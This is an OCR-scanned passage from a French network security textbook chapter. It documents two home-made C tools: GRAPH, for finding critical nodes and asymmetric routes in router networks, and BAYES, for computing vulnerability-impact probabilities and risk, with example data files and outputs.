La bibliotheque GRAPH a ete developpee suivant des criteres precis. Elle doit pouvoir 
manipuler des graphes diriges ou non diriges, de taille non bornee a priori. Elle doit etre 
simple, avec une interface souple, et privilegier 1' optimisation en temps par rapport a 
1' optimisation en espace. La bibliotheque doit etre portable sur 1' ensemble des plates- 
formes Unix, avec un minimum de dependances. 

La bibliotheque GRAPH et son interface shell necessitent des connaissances de base en 
theorie des graphes, ainsi que de l'environnement Unix. 

Cet outil est ecrit en moins de 2 500 lignes de code C. 

Conception de Voutil 

Les choix fondamentaux, sous-jacents au developpement de la bibliotheque GRAPH sont 
des consequences directes de son contexte particulier d' utilisation : 1' analyse de reseaux 
de routeurs interconnectes par des liens locaux (LAN) ou par des liens globaux (WAN). 

II est done assume que les graphes ne sont pas denses : 

• Une structure de donnees non opaque donne une visibilite sur tous les champs internes, 
facilitant d'autant revolution de la bibliotheque avec des fonctions ad hoc. Cette 
approche evite de gerer une interface fonctionnelle fastidieuse. 

• Une grande memoire centrale est disponible sur beaucoup de plates-formes et permet 
de se liberer des contraintes memoire. En fait, dans le compromis classique espace/ 
temps, la bibliotheque GRAPH privilegie la rapidite d' execution. La bibliotheque 
consomme 0(m 2 + n) octets pour un graphe de m nceuds et n arcs. 

• Les algorithmes implementes sont efficaces asymptotiquement. Par exemple, les plus 
courts chemins sont calcules avec des iterations sur 1'algorithme de Dijkstra, en utili- 
sant une liste prioritaire comme structure de donnees, plutot que 1'algorithme plus 
simple de fermeture transitive de Floyd-Warshall. En revanche, la clarte du codage est 
privilegiee par rapport aux optimisations de codage. Ainsi, les tableaux sont-ils refe- 
rences par indexation et non par arithmetique sur des pointeurs. Ce dernier point est 
relativement mineur, car la bibliotheque peut etre compilee avec toutes les options 
d' optimisation. 

• Plusieurs representations internes d'un meme graphe sont implementees. Ce critere 
decoule directement des precedents. Parce que differents algorithmes sont idealement 
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supportes par differentes structures de donnees, nous avons choisi de representer un 
graphe en parallele par les trois structures classiques : listes d'adjacences, listes d'inci- 
dences et matrice d'incidences. Ces trois structures, bien que gourmandes en memoire, 
permettent d'acceder a n'importe quel noeud ou arc en temps constant. 

• Une programmation defensive, bien que plus lourde, assure la consistance des struc- 
tures de donnees et permet de detecter les fautes classiques, comme une mauvaise 
recuperation de memoire (memory leak). Le code est done prevu pour inclure des veri- 
fications internes sous forme d'assertions, et ce dans toutes les fonctions. L'effet de 
bord evident est de taxer l'efficacite temps. Bien sur, l'utilisation frequente de la 
bibliotheque permet de detecter les erreurs et de stabiliser le code. La bibliotheque 
peut etre recompilee avec les assertions desactivees. 

• La facilite d' utilisation est importante dans ce contexte. II y a non seulement des primi- 
tives de bas niveau (ajouter un noeud, ajouter un arc, fouille en profondeur, etc.), mais 
egalement plusieurs fonctions de haut niveau (plus courts chemins, points d' articulation, 
composantes connexes, etc.). Ce principe est sous-jacent a une bibliotheque totalement 
dynamique, avec une structure de donnees autocroissante ; l'utilisateur ou le program- 
mer peut, sans y etre oblige, precalculer le nombre maximal de noeuds ou d'arcs. 

• Une interface utilisateur primitive mais complete est incluse, ce qui permet d'invoquer 
toutes les fonctions de la bibliotheque a partir d'une commande shell. A la section 
suivante, les exemples sont donnes avec cette interface. 

• La generality est importante. La bibliotheque peut supporter librement des arcs diriges 
ou non diriges dans un meme graphe. En fait, la non-direction est une caracteristique 
d'arc, et non de graphe. De plus, il est possible de definir plusieurs arcs, avec leurs 
parametres respectifs, entre une meme paire de noeuds. 

• Un traitement « offline » est prefere a une approche incremental « online » ; e'est 
pourquoi il n'y a pas de primitive de destruction ni de modification de noeuds et d'arcs. 
La bibliotheque assume que le graphe initial sera l'objet final du traitement, sans possi- 
bilite de mise a jour. Ainsi, l'interface shell lit un graphe puis applique directement les 
algorithmes choisis. 

Prise en main 

Soit la ligne de commande suivante : 
graph -acfpsv fichier 

• -c calcule et imprime toutes les composantes connexes. 

• -f calcule et imprime tous les points d' articulation. Cette option est utile pour trouver 
les noeuds critiques (single points of failure). 

• - F calcule et imprime les points d' articulation comme avec 1' option -f et imprime les 
partitions de noeuds autour de chaque point d' articulation. Essentiellement, cette 
option calcule comment un graphe serait deconnecte sans les noeuds critiques. 
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• -p calcule et imprime les chemins entre chaque paire de noeuds, detecte les chemins 
asymetriques et imprime le cout associe a chaque chemin. 

• -s calcule et imprime toutes les composantes fortement connexes. 

• -v imprime le graphe lui-meme. 

• f i chi er specifie le fichier contenant la description du graphe. 

Exemples 

Le premier exemple illustre le calcul des noeuds et arcs critiques (single points of failure). 

Dans le graphe non dirige illustre a la figure 15.3, les huit noeuds represented des equi- 
pements reseau, et les dix arcs les liens de communication entre ces equipements. Les 
arcs sont tous de cout zero. 



Figure 15.3 

Exemple de graphe 
(graphe 1) 




Le fichier graphel.dat represente ce graphe 



# graphel.dat 



U 
U 
U 
U 



A B 
A C 
B C 
C D 
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u 


C E 


u 


E F 


u 


E G 


u 


E H 


u 


F H 


u 


G H 



Le fichier est constitue de 12 lignes, la premiere etant un commentaire, la deuxieme ligne 
etant vide, et les 10 lignes suivantes encodant un seul arc. Un arc non dirige est caracte- 
rise par la lettre U, suivie des etiquettes des deux nceuds relies par cet arc. II est possible 
d'ajouter un quatrieme champ specifiant le cout associe a Tare, lequel est 1 par defaut. II 
n'est pas necessaire de predeclarer les noeuds, bien que ce soit possible. Ce dernier cas est 
utile pour associer un cout a un noeud. 

L' invocation de l'outil GRAPH calcule les composantes connectees ainsi que les points 
d' articulation avec les partitions associees : 

margot/15. graphs graph -cF graphel.dat 

graphel.dat: 8 nodes, 10 edges, 4512 bytes 

connected component (8 nodes): 

{ A B C D E F G H } 

articulation point: C 

node partition: { A B } 

node partition: { D } 

node partition: { E F G H } 

articulation point: E 

node partition: { A B C D } 

node partition: { F G H } 

Pour obtenir 1' ensemble des elements critiques, liens de communication compris, nous 
utilisons l'astuce suivante : remplacer chaque arc par un noeud artificiel, de poids identi- 
que a Tare. Ce nouveau noeud est connecte par des arcs de poids nul. 

Ainsi, l'exemple devient le graphe illustre a la figure 15.4. 

Le fichier graphe2.dat donne l'encodage de ce graphe : 

# graphe2.dat 



N 


A-B 1 




N 


A-C 1 




N 


B-C 1 




N 


C-D 1 




N 


C-E 1 




N 


E-F 1 




N 


E-G 1 




N 


E-H 1 




N 


F-H 1 




N 


G-H 1 




U 


A A-B 





U 


B A-B 
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U 


A A-C 




U 


C A-C 




u 


B B-C 




u 


C B-C 




u 


C C-D 




u 


D C-D 




u 


C C-E 




u 


E C-E 




u 


E E-F 




u 


F E-F 




u 


E E-G 




u 


G E-G 




u 


E E-H 




u 


H E-H 




u 


F F-H 




u 


H F-H 




u 


G G-H 




u 


H G-H 


Figure 15.4 




Exemple de graphe 


(graphe2) 








Ici, les noeuds artificiels sont declares avec un cout de « 1 », correspondant au cout des 
arcs de 1' exemple 1. Les arcs sont declares avec un cout nul. 



L'invocation de l'outil GRAPH donne l'ensemble de tous les elements critiques 
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margot/15. graphs graph -F graphe2.dat 

graphe2.dat: 18 nodes, 20 edges, 23656 bytes 

articulation point: C-D[l] 

node partition: { A-B[l] A-C[l] B-C[l] C-E[l] E-F[l] E-G[l] E-H[l] F-H[l] G-H[l] 

A B C E F G H } 

node partition: { D } 

articulation point: C-E[l] 

node partition: { A-B[l] A-C[l] B-C[l] C-D[l] A B C D } 

node partition: { E-F[l] E-G[l] E-H[l] F-H[l] G-H[l] E F G H } 

articulation point: C 

node partition: { A-B[l] A-C[l] B-C[l] A B } 

node partition: { C-D[l] D } 

node partition: { C-E[l] E-F[l] E-G[l] E-H[l] F-H[l] G-H[l] E F G H } 

articulation point: E 

node partition: { A-B[l] A-C[l] B-C[l] C-D[l] C-E[l] A B C D } 

node partition: { E-F[l] E-G[l] E-H[l] F-H[l] G-H[l] F G H } 

Nous avons done les noeuds critiques C et E comme precedemment, puis les arcs criti- 
ques C-D et C-E. 

Dans l'exemple illustre a la figure 15.5, le poids des arcs modelise le cout de chaque route. 
Le graphe est dirige, afin de pouvoir representer des routes de couts asymetriques, et 
certains arcs sont absents a cause d'un controle d'acces sur le noeud bloquant tout trafic. 



Figure 15.5 

Exemple de graphe 
(graphe3) 




Le fichier graphe3.dat encode cet exemple. Dans le premier champ, la lettre D specifie 
un arc dirige : 
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# 


graph 


e3.dat 


# 






D 


A B 


5 


D 


A C 


3 


D 


B A 


5 


D 


C A 


2 


D 


C B 


1 


D 


C D 


3 


D 


C E 


2 


D 


D C 


3 


D 


E C 


2 


D 


E F 


3 


D 


E H 


1 


D 


F H 


4 


D 


G E 


4 


D 


G H 


3 


D 


H F 


4 


D 


H G 


3 



Si nous souhaitons verifier qu'il y a un chemin entre toutes les paires de nceuds (il n'y a 
qu'une seule composante fortement connexe), nous obtenons la liste des chemins asyme- 
triques. 

Cette liste est partiellement donnee dans la transcription suivante : 

margot/15. graphs graph -asp graphe3.dat 

graphe3.dat: 8 nodes, 16 edges, 4488 bytes 

strongly connected component (8 nodes): 

{ A B C D E F H G } 

paths: 

A <-> B 

asymetric paths: 

cost: 4 < (A -> C)[3] (C -> B) > 

cost: 5 < (B -> A) [5] > 

A <-> C 

asymetric paths: 

cost: 3 < (A -> C)[3] > 

cost: 2 < (C -> A)[2] > 

A <-> D 

asymetric paths: 

cost: 6 < (A -> C)[3] (C -> D)[3] > 

cost: 5 < (D -> C)[3] (C -> A)[2] > 

A <-> E 

asymetric paths: 

cost: 5 < (A -> C)[3] (C -> E)[2] > 

cost: 4 < (E -> C)[2] (C -> A)[2] > 

A <-> H 

asymetric paths: 

cost: 6 < (A -> C)[3] (C -> E)[2] (E -> H) > 

cost: 11 < (H -> G)[3] (G -> E)[4] (E -> C)[2] (C -> A)[2] > 

A <-> G 
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asymetric paths: 

cost: 9 < (A -> C)[3] (C -> E)[2] (E -> H) (H -> G)[3] > 

cost: 8 < (G -> E)[4] (E -> C)[2] (C -> A)[2] > 

B <-> C 

asymetric paths: 

cost: 8 < (B -> A)[5] (A -> C)[3] > 

cost: 1 < (C -> B) > 

B <-> D 

asymetric paths: 

cost: 11 < (B -> A)[5] (A -> C)[3] (C -> D)[3] > 

cost: 4 < (D -> C)[3] (C -> B) > 

B <-> E 

asymetric paths: 

cost: 10 < (B -> A)[5] (A -> C)[3] (C -> E)[2] > 

cost: 3 < (E -> C)[2] (C -> B) > 

B <-> F 

asymetric paths: 

cost: 13 < (B -> A)[5] (A -> C)[3] (C -> E)[2] (E -> F)[3] > 

cost: 14 < (F -> H)[4] (H -> G)[3] (G -> E)[4] (E -> C)[2] (C -> B) > 

B <-> H 

asymetric paths: 

cost: 11 < (B -> A) [5] (A -> C)[3] (C -> E)[2] (E -> H) > 

cost: 10 < (H -> G)[3] (G -> E)[4] (E -> C)[2] (C -> B) > 

B <-> G 

asymetric paths: 

cost: 14 < (B -> A) [5] (A -> C)[3] (C -> E)[2] (E -> H) (H -> G)[3] > 

cost: 7 < (G -> E)[4] (E -> C)[2] (C -> B) > 

cost: 7 < (G -> H)[3] (H -> F)[4] > 

En situation reelle, nous extrayons les informations de connectivity a partir des flchiers 
de configuration des routeurs composant un reseau. Ces informations sont typiquement 
extraites de la configuration des interfaces LAN et WAN. L'adresse IP du sous-reseau 
ainsi que son masque permettent de reconstruire la connectivite de tout un reseau, sous 
l'hypothese que le plan d'adressage ne contienne pas de doublon ; les adresses doivent 
etre uniques dans le reseau. 

Dans certains cas particuliers, il est possible d'extraire de la configuration le cout associe 
a une route. Ce cout est alors reflete sur Tare modelisant le lien de communication. Le 
cout des routes induit un graphe dirige, mais symetrique sur la connectivite. 

Un autre cas interessant est 1' analyse inter- VPN sur une structure MPLS. En effet, la 
connectivite etant asymetrique, un VPN peut etre exporte et independamment importe. 
Dans ce cas particulier, le cout est constant. Ainsi, nous pouvons extraire de l'ensemble 
des configurations tous les parametres d' import et d' export pour ensuite construire le 
graphe dirige de connectivite inter- VPN. 

Ce graphe n'est pas necessairement symetrique. Une fouille en profondeur donne le peri- 
metre d'un VPN, e'est-a-dire l'ensemble des routeurs accessibles a partir d'un seul point. 
Finalement, le calcul des routes asymetriques met en lumiere les erreurs d' importation et 
d' exportation des tables de routage. 



436 



Tableaux de bord de la securite reseau 



Sur un ordinateur personnel moyen de gamme, la bibliotheque GRAPH permet le traite- 
ment routinier de reseaux de plusieurs milliers de nceuds. 



Calculateur de risque 

Nous avons vu au chapitre 14 comment e valuer les impacts et une valeur de risque par 
une modelisation probabiliste. Un arbre probabiliste associe a divers scenarios d'evene- 
ments est engendre a partir d'une description des vulnerabilites et des regies de propaga- 
tion. Cet arbre probabiliste peut etre potentiellement tres important et se recalcule chaque 
fois que le profil de vulnerabilite d'un equipement reseau change. 

L'outil BAYES calcule les probabilites des impacts a partir d'un arbre probabiliste. II 
calcule aussi la valeur de risque a partir de valeurs de consequences associees aux 
impacts. 

Cet outil est ecrit en moins de 400 lignes de code C. 

Conception de l'outil 

BAYES calcule un arbre probabiliste a partir de donnees regroupees dans quatre flchiers 
distincts. Le premier fichier contient les vulnerabilites, le second les regies de propaga- 
tion, le troisieme les probabilites associees aux impacts (ou feuilles de 1' arbre) et le 
dernier les consequences associees aux impacts. 

Comme nous le verrons dans les exemples ci-apres, la formalisation des tests, des regies de 
propagation et des impacts est tres ouverte et peut s' adapter a differents environnements. 

La construction de l'arbre probabiliste par BAYES suit les regies decrites au chapitre 14, 
ainsi que les regies specifiques suivantes : 

• La racine de l'arbre probabiliste est le nceud " " . 

• L' impact "0" doit etre compris comme la feuille indiquant qu'il n'y a pas d' impact. 

• II y a une distribution equiprobable des probabilites, hormis celle de l'impact "0", 
associees aux noeuds issus du noeud racine. 

• Un noeud final possede une feuille avec l'impact et la probabilite associee au noeud, 
mais aussi une feuille avec l'impact "0" prenant la valeur de probabilite restante. 

Nous allons detailler les formats des quatre flchiers de donnees necessaires a la construc- 
tion de notre arbre probabiliste. 

Fichier de vulnerabilites 

Le fichier de vulnerabilites contient trois elements par ligne. La premiere ligne corres- 
pond a la premiere vulnerabilite, et ainsi de suite. Les vulnerabilites apparaissent dans le 
fichier par le numero de test auquel elles sont rattachees. 

Les elements sont les suivants : 
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• Le test (un test peut detecter une ou plusieurs vulnerabilites). II s'agit d'un entier 
positif. 

• L'objet sur lequel a ete detectee la vulnerabilite. II s'agit d'une chaine de caracteres ne 
contenant aucune espace. 

• L'impact associe au test de securite. II s'agit d'un entier positif. 

Le fichier suivant contient deux vulnerabilites associees a deux tests differents ayant des 
impacts egaux : 

margot/15.bayes$ cat exemplel.txt 

1 A 1 

2 A 1 

En revanche, le fichier suivant indique deux vulnerabilites associees a de memes tests et 
impacts : 

margot/15.bayes$ cat exemple2.txt 
1 A 1 
1 A 1 

Fichier de propagations 

Le fichier de propagations contient un ensemble de regies de propagation. 
Chaque regie de propagation contient les elements suivants : 

• Un test (un test peut detecter une ou plusieurs vulnerabilites). II s'agit d'un entier 
positif. 

• L'objet sur lequel a ete detectee la vulnerabilite. II s'agit d'une chaine de caracteres ne 
contenant aucune espace. 

• L'objet sur lequel peut se propager la vulnerabilite. II s'agit d'une chaine de caracteres 
ne contenant aucune espace. 

• La liste des tests avec lesquels nous determinons la propagation de la vulnerabilite (un 
test peut detecter une ou plusieurs vulnerabilites). 

Le fichier suivant contient trois regies de propagation. La premiere indique que le noeud 
racine peut propager les vulnerabilites associees aux tests 1 et 2 sur l'objet A. La 
deuxieme indique que les vulnerabilites associees au test 1 peuvent se propager de l'objet 
A vers l'objet A sur les vulnerabilites detectees par les tests 1 et 2. La derniere indique 
que les vulnerabilites associees au test 2 peuvent se propager de l'objet A vers l'objet A 
sur les vulnerabilites detectees par les tests 1 et 2. 

margot/15.bayes$ cat exemplel. rule 

A A 1 2 

1 A A 1 2 

2 A A 1 2 
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Fichier de probabilites 

Le fichier de probabilites contient les probabilites associees aux impacts (un element par 
ligne). La premiere ligne correspond a la probabilite du premier impact, et ainsi de suite. 

Les contraintes associees au fichier de probabilites sont les suivantes : 

• La probabilite est un reel compris entre et 1 . 

• La somme des probabilites de toutes les lignes n'est pas necessairement egale a 1. 

• La contrainte est que, pour tout ligne i, la somme des probabilites de l'impact et de 
1' impact i est inferieure ou egale a 1. 

Le fichier suivant indique trois valeurs de probabilites (associees aux impacts 0, 1, 2) : 

margot/15.bayes$ cat exemplel.proba 

0.1 

0.3 

0.3 

Fichier de consequences 

Le fichier de consequences contient les consequences associees aux impacts (un element 
par ligne). La premiere ligne correspond a la valeur de consequence du premier impact, 
et ainsi de suite. 

La consequence est un reel positif. Cette valeur est arbitraire et sans contrainte. 

Le fichier suivant indique trois valeurs de consequences (associes aux impacts 0, 1, 2) : 

margot/15.bayes$ cat exemplel.cons 

10 

50 

100 

Prise en main 

Soit la ligne de commande suivante : 

bayes fichier-vulnerabilites fichier-propagation fichier-consequences profondeur 

• fichier-vulnerabilites specifie le fichier contenant les vulnerabilites . 

• fichier-propagations specifie le fichier contenant les regies de propagation. 

• fichier-consequences specifie le fichier contenant les valeurs des consequences asso- 
ciees aux impacts. 

• profondeur est un nombre entier specifiant la profondeur maximale d'exploration de 
l'arbre probabiliste. 

Exemple elementaire 

Definissons notre premier arbre probabiliste avec les fichiers de donnees suivants : 
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margot/15.bayes$ cat exemplel.rule 

A A 1 2 

1 A A 1 2 

2 A A 1 2 

margot/15.bayes$ cat exemplel.proba 
0.1 
0.3 
0.3 
margot/15.bayes$ cat exemplel.txt 

1 A 1 

2 A 2 

La figure 15.6 illustre l'arbre probabiliste associe. 



Figure 15.6 

Arbre probabiliste 
elementaire 




Le calcul des impacts 0, 1 et 2 est donne par les formules suivantes : 

1(0) = 0,1 + 0,7 x 0,6 x 0,45 + 0,1 x 0,45 + 0,7 x 0,6 x 0,45 + 0,1 x 0,45 = 0,568 

1(1) = 0.3 x 0,45 + 0,3 x 0,6 x 0,45 = 0,216 

1(2) = 0,3 x 0,6 x 0,45 + 0,3 x 0,45 = 0,216 

Si nous executons le programme BAYES sur ces fichiers de donnees, nous retrouvons ces 
memes valeurs : 

margot/15.bayes$ make exemplel 

normalise exemplel.rule exemplel.proba exemplel.txt exemplel. cons 

bayes exemplel.txt. ref.dat[1234] 10 



nb_tests = 3 
nb_impacts = 3 
nb_probabil ites (impacts) = 
nb_consequences (impacts) = 

(x 1) impact 

1 (x 1) impact 1 

2 (x 1) impact 2 



1.000000e-01 3.000000e-01 3.000000e-01 
1.000000e+01 5.000000e+01 1.000000e+02 
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bayes: 1 2 1.000000e-01 0.000000e+00 0.000000e+00 0.000000e+00 4.500000e-01 

bayes: 2 1 1 1.450000e-01 1.350000e-01 0.000000e+00 0.000000e+00 2.700000e-01 

bayes card==0: 2 2 3.340000e-01 1.350000e-01 8.100000e-02 0.000000e+00 2.700000e-01 

bayes: 2 2 1 3.790000e-01 1.350000e-01 2.160000e-01 0.000000e+00 2.700000e-01 

bayes card==0: 2 1 5.680000e-01 2.160000e-01 2.160000e-01 0.000000e+00 2.700000e-01 



distribution des probabilites (impacts): 5.680000e-01 

2.160000e-01 1.000000e+00 
risque : 1.296000e+01 
elements parcourus : 5 . 000000e+00 
profondeur : 2 



Modifions l'arbre probabiliste par le fichier de propagation 

margot/15.bayes$ cat exemple2.rule 

A A 1 2 

1 A A 1 2 

La figure 15.7 illustre l'arbre probabiliste associe. 



2.160000e-01 



Figure 15.7 

Arbre probabiliste 
elementaire modifie 




Le calcul des impacts 0, 1 et 2 est donne par les formules suivantes : 

1(0) = 0,1 + 0,7 x 0,6 x 0,45 + 0,1 x 0,45 + 0,7 x 0,6 x 0,45 + 0,7 x 0,45 = 0,649 

1(1) = 0,3x0,45 = 0,135 

1(2) = 0,3 x 0,6 x 0,45 + 0,3 x 0,45 = 0,216 

Si nous executons le programme BAYES sur ces fichiers de donnees, nous retrouvons ces 
memes valeurs : 

margot/15.bayes$ make exemple2 

normalise exemple2.rule exemple2.proba exemple2.txt exemple2.cons 

bayes exempl e2.txt. ref .dat[1234] 10 



Outils maison de securite reseau 



441 



Chapitre 15 



nb_tests = 3 
nb_impacts = 3 
nb_probabil ites (impacts) = 
nb_consequences (impacts) = 

(x 1) impact 

1 (x 1) impact 1 

2 (x 1) impact 2 



1.000000e-01 3.000000e-01 3.000000e-01 
1.000000e+01 5.000000e+01 1.000000e+02 



bayes: 1 2 1.000000e-01 0.000000e+00 0.000000e+00 0.000000e+00 4.500000e-01 
bayes: 2 1 1 1.450000e-01 1.350000e-01 0.000000e+00 0.000000e+00 2.700000e-01 
bayes card==0: 2 2 3.340000e-01 1.350000e-01 8.100000e-02 0.000000e+00 2.700000e-01 
bayes card==0: 1 2 6.490000e-01 1.350000e-01 2.160000e-01 0.000000e+00 4.500000e-01 



1.350000e-01 



distribution des probability (impacts): 6.490000e-01 

2.160000e-01 1.000000e+00 

risque : 1.215000e+01 

elements parcourus : 4.000000e+00 

profondeur : 2 



Exemple reseau 

Prenons maintenant le cas de figure d'un reseau constitue de deux pare-feu (fwl, fw2) et 
d'un serveur Web (web), comme illustre a la figure 15.8. 



^^■■ffiet 




Pare-feu (fw1 ) 



Serveur Web 



Pare-feu (fw2) 



Figure 15.8 

Architecture securisee d'acces a un reseau 



La modelisation pour notre calcul de risque est la suivante : pour chaque objet (fwl, fw2, 
web), il y a trois tests possibles pouvant referencer une ou plusieurs vulnerabilites ; de 
plus, il y a trois impacts possibles (faible, moyen, fort), comme le resume le tableau 15.2. 

Tableau 15.2 Repartition des tests et des impacts de lexemple 3 





Objet 


Test 


Impact 






fwl 


1 


1 (faible) 








2 


2 (moyen) 








3 


3 (fort) 
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Tableau 15.2 Repartition des tests et des impacts de lexemple 3 (suite) 



web 


4 


1 (faible) 






5 


2 (moyen) 






6 


3 (fort) 




fw2 


7 


1 (faible) 






8 


2 (moyen) 






9 


3 (fort) 





Dans ce modele, si nous tenons compte de la topologie reseau et du fait que les attaques 
viennent uniquement de l'exterieur, les regies de propagation sont les suivantes : 



margot/15 


,bayes$ cat exemple3.rule 


fwl 


fwl 


1 


2 


3 


web 


web 


4 


5 


6 


1 fwl 


fwl 


1 






2 fwl 


fwl 


2 






3 fwl 


fwl 


3 






4 web 


web 


4 






5 web 


web 


5 






6 web 


web 


6 






7 fw2 


fw2 


7 






8 fw2 


fw2 


8 






9 fw2 


fw2 


9 






3 fwl 


web 


4 


5 


6 


6 web 


fwl 


1 


2 


3 


6 web 


fw2 


7 


8 


9 


9 fw2 


web 


4 


5 


6 



Si nous prenons differents fichiers de vulnerabilites (voir tableau 15.3) et que nous 
executions le programme BAYES pour chacun de ces fichiers, nous obtenons la distribu- 
tion des probabilites des impacts ainsi que revolution dans le temps du risque illustree 
par les courbes des figures 15.9 et 15.10. 

Tableau 15.3 Fichiers de vulnerabilites de lexemple reseau 



Fichier 1 


Fichier 2 


Fichier 3 


Fichier 4 


Fichier 5 


Fichier 6 


exemple 3 


exemple 31 


exemple 32 


exemple 33 


exemple 34 


exemple 35 


1 fwl 1 


1 fwl 1 


1 fwl 1 


1 fwl 1 


1 fwl 1 


1 fwl 1 


1 fwl 1 


1 fwl 1 


1 fwl 1 


1 fwl 1 


1 fwl 1 


1 fwl 1 


1 fwl 1 


3fw1 3 


3fw1 3 


3fw1 3 


3fw1 3 


4 web 1 


1 fwl 1 


3fw1 3 


3fw1 3 


3fw1 3 


3fw1 3 


4 web 1 


1 fwl 1 


5 web 2 


6 web 3 


9fw2 3 


5 web 2 


4 web 1 




6 web 3 


6 web 3 


9fw2 3 


5 web 2 


4 web 1 






9fw2 3 


9fw2 3 


9fw2 3 


7fw2 1 
7fw2 1 
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Cette simulation prend en compte les fichiers de probabilities et de consequences 
suivantes : 

margot/15.bayes$ cat exemple3.proba 

0.1 

0.3 

0.3 

0.8 

margot/15.bayes$ cat exemple3.cons 

10 

50 

100 

L' execution de BAYES donne alors les resultats suivants : 



margot/15.bayes$ make exemple3 grep "distribution des probabil ites" 



distribution 
0.000000e+00 
distribution 
4.828375e-02 
distribution 
0.000000e+00 
distribution 
0.000000e+00 
distribution 
1.540800e-01 
distribution 
0.000000e+00 



des probabil ites (impacts): 

0.000000e+00 1.000000e+00 
des probabil ites (impacts): 

3.829667e-01 1.000000e+00 
des probabil ites (impacts): 

5.234241e-01 1.000000e+00 
des probabil ites (impacts): 

3.960000e-01 1.000000e+00 
des probabil ites (impacts): 

2.480000e-01 1.000000e+00 
des probabil ites (impacts): 

0.000000e+00 1.000000e-00 



3.774880e-01 6.225120e-01 



4.208056e-01 1.479440e-01 



3.272332e-01 1.493427e-01 



3.880000e-01 2.160000e-01 



4.539200e-01 1.440000e-01 



4.643200e-01 5.356800e-01 



margot/15.bayes$ make exemple3 grep "risque 1 



"sque 
"sque 
"sque 
"sque 
"sque 
risque 



n 
ri 
ri 
ri 
ri 



6.225120e+00 
4.219029e+01 
5.383584e+01 
4.176000e+01 
3.394400e+01 
5.356800e+00 



A partir de ces donnees, la figure 15.9 illustre la distribution dans le temps des probabili- 
ty associees aux impacts. Remarquons notamment que l'impact est le plus fort pour le 
flchier numero 3. 

La figure 15.10 illustre revolution dans le temps du calcul du risque. Ces valeurs de risques 
traduisent a nouveau un risque important pour le flchier 3 associe aux vulnerabilites. 

Differentes valeurs de probabilites, de regies de propagation ou de consequences peuvent 
etre choisies, l'important etant de valider le comportement et la pertinence des mesures 
de securite realisees. 
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Figure 15.9 

Distribution des 
probabilites associees aux 
impacts 



1 
e 



Distribution des probabilites des impacts reseau 
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Figure 15.10 

s 

Evolution du risque dans le 
temps 
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Evolution du risque 
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Exemple de reduction combinatoire 

Sachant que l'objectif est de calculer les probabilites associees aux impacts reseau, il est 
possible de reduire la combinatoire de la construction de l'arbre en raisonnant non plus 
sur les vulnerabilites, mais directement sur les tests de securite. 

De meme, il est possible de reduire la combinatoire de la construction de l'arbre en 
raisonnant non plus sur les tests de securite, mais directement sur les impacts reseau. 
Cela signifle que tous les tests de securite ayant un meme impact reseau peuvent etre vus 
comme un seul test. Cette reduction est possible grace a une simplification combinatoire 
fondee sur la repetition de k objets parmi n objets lors de la construction des branches de 
l'arbre probabiliste. 

Cette reduction permet de determiner des sous-branches identiques dans notre arbre 
probabiliste et ainsi de ne pas les construire. Bien que cette approche permette de prendre 
en compte un nombre important de vulnerabilites detectees, nous perdons cependant de 
la granularite dans les regies de propagation en considerant des groupes de vulnerabilites 
plutot que des vulnerabilites. 
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Si nous considerons, dans l'exemple suivant, une vulnerability par test (exemple 5) ou 
groupons plusieurs vulnerabilites par test (exemple 4), nous obtenons les memes resul- 
tats pour le calcul des probabilites des impacts et du risque resultant : 

margot/15.bayes$ cat exemple4.rule 

A A 1 2 

1 A A 1 2 

2 A A 2 

margot/15.bayes$ cat exemple4.txt 
1 A 1 

1 A 1 

2 A 2 
2 A 2 

margot/15.bayes$ cat exemple5.rule 

A A 1 2 3 4 

1 A A 1 2 3 4 

2 A A 1 2 3 4 

3 A A 3 4 

4 A A 3 4 
margot/15.bayes$ cat exemple5.txt 

1 A 1 

2 A 1 

3 A 2 

4 A 2 

Executons maintenant l'exemple 4 : 

margot/15.bayes$ make exemple4 

normalise exemple4.rule exemple4.proba exemple4.txt exemple4.cons 

bayes exemple4.txt. ref.dat[1234] 10 



nb_tests = 3 

nb_impacts = 3 

nb_probabilites (impacts) = 1.000000e-01 3.000000e-01 3.000000e-01 

nb_consequences (impacts) = 1.000000e+01 5.000000e+01 1.000000e+02 

(x 1) impact 

1 (x 2) impact 1 

2 (x 2) impact 2 

bayes: 1 4 1.000000e-01 0.000000e+00 0.000000e+00 0.000000e+00 2.250000e-01 

bayes: 2 1 3 1.450000e-01 1.350000e-01 0.000000e+00 0.000000e+00 4.500000e-02 

bayes: 3 1 2 1.540000e-01 1.620000e-01 0.000000e+00 0.000000e+00 1.350000e-02 

bayes: 4 2 1 1.594000e-01 1.620000e-01 1.620000e-02 0.000000e+00 8.100000e-03 

bayes card==0: 4 2 1.820800e-01 1.620000e-01 2.592000e-02 0.000000e+00 8.100000e-03 

bayes: 3 2 1 2.000800e-01 1.620000e-01 7.992000e-02 0.000000e+00 2.700000e-02 

bayes card==0: 3 2 2.756800e-01 1.620000e-01 1.123200e-01 0.000000e+00 2.700000e-02 

bayes: 2 2 1 3.206800e-01 1.620000e-01 2.473200e-01 0.000000e+00 1.350000e-01 

bayes card==0: 2 2 5.096800e-01 1.620000e-01 3.283200e-01 0.000000e+00 1.350000e-01 
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distribution des probability (impacts): 5.096800e-01 1.620000e-01 

3.283200e-01 1.000000e+00 

risque : 1.803600e+01 

elements parcourus : 9 . 000000e+00 

profondeur : 4 



Executons maintenant l'exemple 5 : 

margot/15.bayes$ make exemple5 

normalise exemple5.rule exemple5.proba exemple5.txt exemple5.cons 

bayes exempl e5.txt. ref .dat[1234] 10 



nb_tests = 5 
nb_impacts = 3 
nb_probabil ites (impacts) = 
nb_consequences (impacts) = 

(x 1) impact 

1 (x 1) impact 1 

2 (x 1) impact 1 

3 (x 1) impact 2 

4 (x 1) impact 2 



1.000000e-01 3.000000e-01 3.000000e-01 
1.000000e+01 5.000000e+01 1.000000e+02 



bayes: 


1 4 l.OOOOOOe 


bayes: 


2 1 3 1.225000e 


bayes: 


3 2 2 1.270000e 


bayes: 


4 3 1 1.283500e 


bayes 


card==0: 4 4 1 


bayes: 


4 4 1 1.353700e 


bayes 


card==0: 4 3 1 


bayes: 


3 3 1 1.455400e 


bayes 


card==0: 3 4 1 


bayes: 


3 4 1 1.689400e 


bayes 


card==0: 3 3 1 


bayes: 


2 2 3 2.103400e 


bayes: 


3 1 2 2.148400e 


bayes: 


4 3 1 2.161900e 


bayes 


card==0: 4 4 2 


bayes: 


4 4 1 2.232100e 


bayes 


card==0: 4 3 2 


bayes: 


3 3 1 2.333800e 


bayes 


card==0: 3 4 2 


bayes: 


3 4 1 2.567800e 


bayes 


card==0: 3 3 2 


